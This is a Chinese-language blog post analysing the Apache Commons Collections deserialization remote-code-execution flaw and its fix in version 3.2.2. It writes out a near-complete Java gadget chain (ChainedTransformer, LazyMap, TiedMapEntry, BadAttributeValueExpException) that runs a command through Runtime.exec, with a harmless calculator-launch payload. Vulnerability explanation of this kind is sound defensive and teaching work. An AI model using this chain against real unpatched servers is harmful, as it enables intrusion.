原來不只是fastjson,這個你每天都在用的類庫也被爆過反序列化漏洞!

  • 2020 年 7 月 14 日
  • 筆記

GitHub 15.8k Star 的Java工程師成神之路,不來了解一下嗎!

GitHub 15.8k Star 的Java工程師成神之路,真的不來了解一下嗎!

GitHub 15.8k Star 的Java工程師成神之路,真的真的不來了解一下嗎!

在《fastjson到底做錯了什麼?為什麼會被頻繁爆出漏洞?》文章中,我從技術角度分析過為什麼fastjson會被頻繁爆出一些安全漏洞,然後有人在評論區發表”說到底就是fastjson爛…”等言論,一般遇到這種評論我都是不想理的。

但是事後想想,這個事情還是要單獨說一下,因為這種想法很危險。

一旦這位讀者有一天當上了領導,那麼如果他負責的項目發生了漏洞,他還是站出來說”都怪XXX代碼寫的爛…”,這其實是非常可怕的。

工作久了的話,就會慢慢有種感覺:代碼都是人寫的,是人寫的代碼就可能存在漏洞,這個是永遠都無法避免的,任何牛X的程序員都不可能寫出完全沒有bug的代碼!

其實關於序列化的安全性問題,無論是Java原生的序列化技術還是很多其他的開源序列化工具,都曾經發生過。

序列化的安全性,一直都是比較大的一個話題,我無意為fastjson辯駁,但是出問題之後直接噴代碼寫的爛,其實是有點不負責任的。

Apache-Commons-Collections這個框架,相信每一個Java程序員都不陌生,這是一個非常著名的開源框架。

但是,他其實也曾經被爆出過序列化安全漏洞,而漏洞的表現和fastjson一樣,都是可以被遠程執行命令。

背景

Apache Commons是Apache軟件基金會的項目,Commons的目的是提供可重用的、解決各種實際的通用問題且開源的Java代碼。

Commons Collections包為Java標準的Collections API提供了相當好的補充。在此基礎上對其常用的數據結構操作進行了很好的封裝、抽象和補充。讓我們在開發應用程序的過程中,既保證了性能,同時也能大大簡化代碼。

Commons Collections的最新版是4.4,但是使用比較廣泛的還是3.x的版本。其實,在3.2.1以下版本中,存在一個比較大的安全漏洞,可以被利用來進行遠程命令執行。

這個漏洞在2015年第一次被披露出來,但是業內一直稱稱這個漏洞為”2015年最被低估的漏洞”。

因為這個類庫的使用實在是太廣泛了,首當其中的就是很多Java Web Server,這個漏洞在當時橫掃了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

之後,Gabriel Lawrence和Chris Frohoff兩位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection實現任意代碼執行。

問題復現

這個問題主要會發生在Apache Commons Collections的3.2.1以下版本,本次使用3.1版本進行測試,JDK版本為Java 8。

利用Transformer攻擊

Commons Collections中提供了一個Transformer接口,主要是可以用來進行類型裝換的,這個接口有一個實現類是和我們今天要介紹的漏洞有關的,那就是InvokerTransformer。

InvokerTransformer提供了一個transform方法,該方法核心代碼只有3行,主要作用就是通過反射對傳入的對象進行實例化,然後執行其iMethodName方法。

而需要調用的iMethodName和需要使用的參數iArgs其實都是InvokerTransformer類在實例化時設定進來的,這個類的構造函數如下:

也就是說,使用這個類,理論上可以執行任何方法。那麼,我們就可以利用這個類在Java中執行外部命令。

我們知道,想要在Java中執行外部命令,需要使用Runtime.getRuntime().exec(cmd)的形式,那麼,我們就想辦法通過以上工具類實現這個功能。

首先,通過InvokerTransformer的構造函數設置好我們要執行的方法以及參數:

Transformer transformer = new InvokerTransformer("exec",
        new Class[] {String.class},
        new Object[] {"open /Applications/Calculator.app"});

通過,構造函數,我們設定方法名為exec,執行的命令為open /Applications/Calculator.app,即打開mac電腦上面的計算器(windows下命令:C:\\Windows\\System32\\calc.exe)。

然後,通過InvokerTransformer實現對Runtime類的實例化:

transformer.transform(Runtime.getRuntime());

運行程序後,會執行外部命令,打開電腦上的計算機程序:

至此,我們知道可以利用InvokerTransformer來調用外部命令了,那是不是只需要把一個我們自定義的InvokerTransformer序列化成字符串,然後再反序列化,接口實現遠程命令執行:

先將transformer對象序列化到文件中,再從文件中讀取出來,並且執行其transform方法,就實現了攻擊。

你以為這就完了?

但是,如果事情只有這麼簡單的話,那這個漏洞應該早就被發現了。想要真的實現攻擊,那麼還有幾件事要做。

因為,newTransformer.transform(Runtime.getRuntime());這樣的代碼,不會有人真的在代碼中寫的。

如果沒有了這行代碼,還能實現執行外部命令么?

這就要利用到Commons Collections中提供了另一個工具那就是ChainedTransformer,這個類是Transformer的實現類。

ChainedTransformer類提供了一個transform方法,他的功能遍歷他的iTransformers數組,然後依次調用其transform方法,並且每次都返回一個對象,並且這個對象可以作為下一次調用的參數。

那麼,我們可以利用這個特性,來自己實現和transformer.transform(Runtime.getRuntime());同樣的功能:

 Transformer[] transformers = new Transformer[] {
    //通過內置的ConstantTransformer來獲取Runtime類
    new ConstantTransformer(Runtime.class),
    //反射調用getMethod方法,然後getMethod方法再反射調用getRuntime方法,返回Runtime.getRuntime()方法
    new InvokerTransformer("getMethod",
        new Class[] {String.class, Class[].class },
        new Object[] {"getRuntime", new Class[0] }),
    //反射調用invoke方法,然後反射執行Runtime.getRuntime()方法,返回Runtime實例化對象
    new InvokerTransformer("invoke",
        new Class[] {Object.class, Object[].class },
        new Object[] {null, new Object[0] }),
    //反射調用exec方法
    new InvokerTransformer("exec",
        new Class[] {String.class },
        new Object[] {"open /Applications/Calculator.app"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

在拿到一個transformerChain之後,直接調用他的transform方法,傳入任何參數都可以,執行之後,也可以實現打開本地計算器程序的功能:

那麼,結合序列化,現在的攻擊更加進了一步,不再需要一定要傳入newTransformer.transform(Runtime.getRuntime());這樣的代碼了,只要代碼中有 transformer.transform()方法的調用即可,無論裏面是什麼參數:

攻擊者不會滿足於此

但是,一般也不會有程序員會在代碼中寫這樣的代碼。

那麼,攻擊手段就需要更進一步,真正做到”不需要程序員配合”。

於是,攻擊者們發現了在Commons Collections中提供了一個LazyMap類,這個類的get會調用transform方法。(Commons Collections還真的是懂得黑客想什麼呀。)

那麼,現在的攻擊方向就是想辦法調用到LazyMap的get方法,並且把其中的factory設置成我們的序列化對象就行了。

順藤摸瓜,可以找到Commons Collections中的TiedMapEntry類的getValue方法會調用到LazyMap的get方法,而TiedMapEntry類的getValue又會被其中的toString()方法調用到。

public String toString() {
    return getKey() + "=" + getValue();
}

public Object getValue() {
    return map.get(key);
}

那麼,現在的攻擊門檻就更低了一些,只要我們自己構造一個TiedMapEntry,並且將他進行序列化,這樣,只要有人拿到這個序列化之後的對象,調用他的toString方法的時候,就會自動觸發bug。

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

我們知道,toString會在很多時候被隱式調用,如輸出的時候(System.out.println(ois.readObject());),代碼示例如下:

現在,黑客只需要把自己構造的TiedMapEntry的序列化後的內容上傳給應用程序,應用程序在反序列化之後,如果調用了toString就會被攻擊。

只要反序列化,就會被攻擊

那麼,有沒有什麼辦法,讓代碼只要對我們準備好的內容進行反序列化就會遭到攻擊呢?

倒還真的被發現了,只要滿足以下條件就行了:

那就是在某個類的readObject會調用到上面我們提到的LazyMap或者TiedMapEntry的相關方法就行了。因為Java反序列化的時候,會調用對象的readObject方法。

通過深入挖掘,黑客們找到了BadAttributeValueExpException、AnnotationInvocationHandler等類。這裡拿BadAttributeValueExpException舉例

BadAttributeValueExpException類是Java中提供的一個異常類,他的readObject方法直接調用了toString方法:

那麼,攻擊者只需要想辦法把TiedMapEntry的對象賦值給代碼中的valObj就行了。

通過閱讀源碼,我們發現,只要給BadAttributeValueExpException類中的成員變量val設置成一個TiedMapEntry類型的對象就行了。

這就簡單了,通過反射就能實現:

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

// val是私有變量,所以利用下面方法進行賦值
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);

於是,這時候,攻擊就非常簡單了,只需要把BadAttributeValueExpException對象序列化成字符串,只要這個字符串內容被反序列化,那麼就會被攻擊。

問題解決

以上,我們復現了這個Apache Commons Collections類庫帶來的一個和反序列化有關的遠程代碼執行漏洞。

通過這個漏洞的分析,我們可以發現,只要有一個地方代碼寫的不夠嚴謹,就可能會被攻擊者利用。

因為這個漏洞影響範圍很大,所以在被爆出來之後就被修復掉了,開發者只需要將Apache Commons Collections類庫升級到3.2.2版本,即可避免這個漏洞。

-w1382

3.2.2版本對一些不安全的Java類的序列化支持增加了開關,默認為關閉狀態。涉及的類包括

CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory,
WhileClosure

如在InvokerTransformer類中,自己實現了和序列化有關的writeObject()和 readObject()方法:

在兩個方法中,進行了序列化安全的相關校驗,校驗實現代碼如下:

在序列化及反序列化過程中,會檢查對於一些不安全類的序列化支持是否是被禁用的,如果是禁用的,那麼就會拋出UnsupportedOperationException,通過org.apache.commons.collections.enableUnsafeSerialization設置這個特性的開關。

將Apache Commons Collections升級到3.2.2以後,執行文中示例代碼,將報錯如下:

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
    at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
    at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)

後話

本文介紹了Apache Commons Collections的歷史版本中的一個反序列化漏洞。

如果你閱讀本文之後,能夠有以下思考,那麼本文的目的就達到了:

1、代碼都是人寫的,有bug都是可以理解的

2、公共的基礎類庫,一定要重點考慮安全性問題

3、在使用公共類庫的時候,要時刻關注其安全情況,一旦有漏洞爆出,要馬上升級

4、安全領域深不見底,攻擊者總能抽絲剝繭,一點點bug都可能被利用

參考資料:
//commons.apache.org/proper/commons-collections/release_3_2_2.html
//p0sec.net/index.php/archives/121/
//www.freebuf.com/vuls/175252.html
//kingx.me/commons-collections-java-deserialization.html